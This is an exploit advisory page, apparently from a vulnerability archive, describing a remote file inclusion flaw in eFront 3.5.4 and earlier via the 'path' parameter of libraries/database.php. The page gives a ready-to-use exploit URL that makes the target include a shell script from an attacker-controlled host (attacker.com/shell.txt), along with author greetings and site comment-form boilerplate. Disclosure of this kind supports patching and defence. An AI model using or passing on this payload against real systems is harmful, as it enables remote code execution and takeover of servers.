efront versions 3.5.4 and below remote file inclusion

2009.09.17

Credit: cr4wl3r

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

########################################################################
#efront <= 3.5.4 Remote File Include Vulnerability
#Download Script : http://sourceforge.net/projects/efrontlearning/files/
#Author : cr4wl3r
#Contact : cr4wl3r[4t]linuxmail[dot]org
#Location : Gorontalo - INDONESIA
########################################################################
#file :
# database.php
#line 15 require_once($path.'adodb/adodb.inc.php');
########################################################################
#3xplo!t :
#http://target.com/[path]/libraries/database.php?path=http://attacker.com/shell.txt???
########################################################################
#Greetz : MyMom [alm]
#Thanks 2 : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

efront versions 3.5.4 and below remote file inclusion

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.